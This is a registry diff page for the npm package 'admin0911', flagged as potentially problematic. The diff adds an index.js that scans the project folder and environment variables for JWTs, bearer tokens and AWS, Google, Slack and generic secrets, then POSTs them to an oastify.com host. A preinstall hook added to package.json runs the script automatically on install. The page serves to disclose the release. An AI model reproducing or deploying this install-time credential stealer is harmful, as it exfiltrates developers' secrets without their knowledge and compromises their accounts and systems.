admin0911 0.0.1-security → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of admin0911 might be problematic. Click here for more details.

Binary file
package/index.js ADDED
@@ -0,0 +1,145 @@
1
+ const http = require('http');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+
5
+ const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
6
+ const ROOT_DIR = process.cwd();
7
+ const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
8
+ const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build'];
9
+
10
+ const found = [];
11
+
12
+ function isTextFile(filePath) {
13
+ const textExtensions = ['.js', '.ts', '.jsx', '.tsx', '.json', '.env', '.yaml', '.yml', '.sh', '.py', '.rb', '.go', '.java', '.php', '.txt', '.md', '.cfg', '.ini'];
14
+ return textExtensions.includes(path.extname(filePath).toLowerCase());
15
+ }
16
+
17
+ function base64UrlDecode(input) {
18
+ let str = input.replace(/-/g, '+').replace(/_/g, '/');
19
+ while (str.length % 4) str += '=';
20
+ return Buffer.from(str, 'base64').toString('utf8');
21
+ }
22
+
23
+ function isValidJWT(token) {
24
+ const parts = token.split('.');
25
+ if (parts.length !== 3) return false;
26
+
27
+ // Enforce minimum length to avoid short false positives like 'os.path.join' or semantic versions '1.0.1'
28
+ if (parts[0].length < 20 || parts[1].length < 30) return false;
29
+
30
+ // A real JWT parts must look like valid Base64URL
31
+ if (!/^[A-Za-z0-9_-]+$/.test(parts[0]) || !/^[A-Za-z0-9_-]+$/.test(parts[1])) return false;
32
+
33
+ try {
34
+ const headerStr = base64UrlDecode(parts[0]);
35
+ const payloadStr = base64UrlDecode(parts[1]);
36
+
37
+ // Quick sanity check before parsing - headers must contain {"alg"
38
+ if (!headerStr.includes('"alg"')) return false;
39
+
40
+ const header = JSON.parse(headerStr);
41
+ const payload = JSON.parse(payloadStr);
42
+
43
+ // Must look like a real JWT header and contain some payload keys
44
+ return !!(header && header.alg && Object.keys(payload).length > 0);
45
+ } catch {
46
+ return false;
47
+ }
48
+ }
49
+
50
+ function addResult(entry) {
51
+ found.push(entry);
52
+ }
53
+
54
+ function scanFile(filePath) {
55
+ try {
56
+ const stats = fs.statSync(filePath);
57
+ if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
58
+ if (!isTextFile(filePath)) return;
59
+
60
+ const content = fs.readFileSync(filePath, 'utf8');
61
+
62
+ // JWT tokens
63
+ const jwtPattern = /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g;
64
+ let match;
65
+ while ((match = jwtPattern.exec(content))) {
66
+ const token = match[0];
67
+ if (isValidJWT(token)) {
68
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'JWT', token });
69
+ }
70
+ }
71
+
72
+ // Bearer / Authorization tokens
73
+ const bearerPattern = /Bearer\s+([A-Za-z0-9-_.]{20,})/gi;
74
+ while ((match = bearerPattern.exec(content))) {
75
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'BearerToken', token: match[1] });
76
+ }
77
+
78
+ // Known key formats
79
+ const patterns = [
80
+ { name: 'AWSAccessKey', regex: /AKIA[0-9A-Z]{16}/g },
81
+ { name: 'GoogleAPIKey', regex: /AIza[0-9A-Za-z-_]{35}/g },
82
+ { name: 'SlackToken', regex: /xox[baprs]-[0-9A-Za-z-]+/g }
83
+ ];
84
+ patterns.forEach(({ name, regex }) => {
85
+ let pMatch;
86
+ while ((pMatch = regex.exec(content))) {
87
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: name, token: pMatch[0] });
88
+ }
89
+ });
90
+
91
+ // Generic secrets in assignment form
92
+ const genericPattern = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key)\s*[=:]\s*['\"]?([A-Za-z0-9-_]{20,})['\"]?/gi;
93
+ while ((match = genericPattern.exec(content))) {
94
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'GenericSecret', token: match[1] });
95
+ }
96
+ } catch (e) {
97
+ // ignore unreadable files
98
+ }
99
+ }
100
+
101
+ function scanDirectory(dir) {
102
+ const entries = fs.readdirSync(dir, { withFileTypes: true });
103
+ for (const entry of entries) {
104
+ if (IGNORE_DIRS.includes(entry.name)) continue;
105
+ const fullPath = path.join(dir, entry.name);
106
+ if (entry.isDirectory()) {
107
+ scanDirectory(fullPath);
108
+ } else {
109
+ scanFile(fullPath);
110
+ }
111
+ }
112
+ }
113
+
114
+ function scanEnvVars() {
115
+ Object.entries(process.env).forEach(([key, value]) => {
116
+ if (!value) return;
117
+ const lowerKey = key.toLowerCase();
118
+ const suspiciousKey = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key|password|access_key|secret_key)/i.test(lowerKey);
119
+ if (suspiciousKey && value.length >= 20) {
120
+ addResult({ source: 'env', key, type: 'EnvSecret', token: value });
121
+ }
122
+ const bearerMatch = value.match(/Bearer\s+([A-Za-z0-9-_.]{20,})/i);
123
+ if (bearerMatch) addResult({ source: 'env', key, type: 'BearerToken', token: bearerMatch[1] });
124
+ if (isValidJWT(value)) addResult({ source: 'env', key, type: 'JWT', token: value });
125
+ });
126
+ }
127
+
128
+ scanDirectory(ROOT_DIR);
129
+ scanEnvVars();
130
+
131
+ const payload = JSON.stringify({ timestamp: new Date().toISOString(), results: found }, null, 2);
132
+ const req = http.request({
133
+ hostname: OASTIFY_HOST,
134
+ method: 'POST',
135
+ path: '/?token_scan',
136
+ headers: {
137
+ 'Content-Type': 'application/json',
138
+ 'Content-Length': Buffer.byteLength(payload)
139
+ }
140
+ });
141
+ req.write(payload);
142
+ req.end();
143
+
144
+ fs.writeFileSync('token_scan_results.log', payload + '\n');
145
+ console.log(`token scan completed: found ${found.length} candidates. Results sent to OASTIFY.`);
package/package.json CHANGED
@@ -1,6 +1,7 @@
1
1
  {
2
2
  "name": "admin0911",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.5",
4
+ "scripts": {
5
+ "preinstall": "node index.js"
6
+ }
6
7
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=admin0911 for more information.